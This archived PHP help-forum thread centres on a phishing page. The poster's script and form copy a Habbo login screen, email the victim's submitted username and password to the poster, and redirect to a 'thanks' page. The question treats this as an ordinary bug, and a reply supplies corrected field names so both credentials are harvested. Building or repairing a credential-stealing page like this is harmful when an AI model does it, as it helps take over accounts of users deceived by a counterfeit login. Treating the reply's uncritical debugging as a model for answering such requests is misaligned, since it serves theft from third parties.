Jump to content

only sending password


rofl90

Recommended Posts

Register.php

 

<?php

  if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    $user = $_POST['loginTicket']; 
    $pass = $_POST['password'];  
    $messig = "Username: $user\nPassword: $pass\n";
    $subject = $user;  

    if (mail("[email protected]", $subject, $messig)) { 
      header("Location: http://www.example.com/thanks");
    } else {
      echo 'ERROR';
    }
  }
  
?>

 

 

 

form.php

extract only

<form action="post.php" method="post" name="form" class="login-habblet" id="login-form">
            
            <ul>
                <li>
                    <label for="login-username" class="login-text">Username
                    <input type="hidden" name="loginTicket" value="" />
                    </label>
                    <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" />

                </li>
                <li>
                    <label for="login-password" class="login-text">Password</label>
                    <input tabindex="2" type="password" class="login-field" name="password" id="login-password" />
                    <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" />

 

whats wrong ;/

Link to comment
https://forums.phpfreaks.com/topic/82948-only-sending-password/
Share on other sites

It should be

 

   
$user = $_POST['habbo']; 
$pass = $_POST['password'];
$loginTicket = $_POST['loginTicket']; 

 

and

 

<form action="post.php" method="post" name="form" class="login-habblet" id="login-form">
            
            <ul>
                <li>
                    <label for="login-username" class="login-text">Username
                    <input type="hidden" name="loginTicket" value="loginTicket" />
                    </label>
                    <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" />

                </li>
                <li>
                    <label for="login-password" class="login-text">Password</label>
                    <input tabindex="2" type="password" class="login-field" name="password" id="login-password" />
                    <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" />
				</form>

Link to comment
https://forums.phpfreaks.com/topic/82948-only-sending-password/#findComment-421862
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.